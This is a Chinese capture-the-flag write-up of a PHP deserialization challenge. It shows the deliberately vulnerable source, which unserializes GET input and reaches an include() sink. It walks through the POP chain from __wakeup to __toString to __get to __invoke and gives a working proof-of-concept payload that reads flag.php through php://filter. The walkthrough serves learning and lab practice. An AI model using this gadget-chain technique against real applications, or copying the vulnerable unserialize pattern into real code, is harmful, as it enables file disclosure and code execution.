目录
代码审计
开局给出源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Modifier类中append()方法会将传入参数包含,而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。
魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在(或外部不可访问的私有)的属性时自动调用,那就需要寻找和调用属性相关的代码。
__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。
本地测试
<?php
class Person{
/*封装私有成员属性*/
private $name='张三';private $sex='男';private $age=12;
/*__get()方法用来获取私有属性*/
function __get($property_name){
// echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
if(isset($this->$property_name))
{
return ($this->$property_name);
}else{
return NULL;
}
}
}
$p1=new Person();
/*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
echo '姓名:'.$p1->name.'<br/>'.PHP_EOL;
echo '性别:'.$p1->sex.'<br/>'.PHP_EOL;
echo '年龄:'.$p1->age.'<br/>'.PHP_EOL;
?>
姓名:张三<br/>
性别:男<br/>
年龄:12<br/>
5.3.29下可以调用phpinfo
<?php
class Test{
private $p='phpinfo';
// public function __construct()
// {
// $this->p = 'array';
// }
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Test;
echo $a->$p;
?>
PHP Version 7.3.4可以调用以下PHPinfo
<?php
class Test{
private $p='phpinfo';
// public function __construct()
// {
// $this->p = 'array';
// }
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Test;
$a->$eee;
?>
PHP Version 7.3.4可以显示flag
<?php
class Modifier {
protected $var='flag';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
$a=new Modifier;
$a->__invoke();
?>
__invoke:以函数方法调用类时
<?php
class CallableClass
{
public function __invoke($param1, $param2)
{
var_dump($param1,$param2);
}
}
$obj = new CallableClass;
$obj(123, 456);
// var_dump(is_callable($obj));
POC
调用过程
反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)
<?php
class Modifier {
protected $var='php://filter/convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString()
{
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show();
$d=new Show();
$a->source=$d;
$d->str=new Test();
($d->str)->p=new Modifier();
echo urlencode(serialize($a))
?>
最后的序列化结果进行url编码的原因:如果不进行编码,最后输出的结果是不全的,会有类显示异常的乱码,所以需要进行url编码
poc2
poc2:
$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
常用的类中魔法函数
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数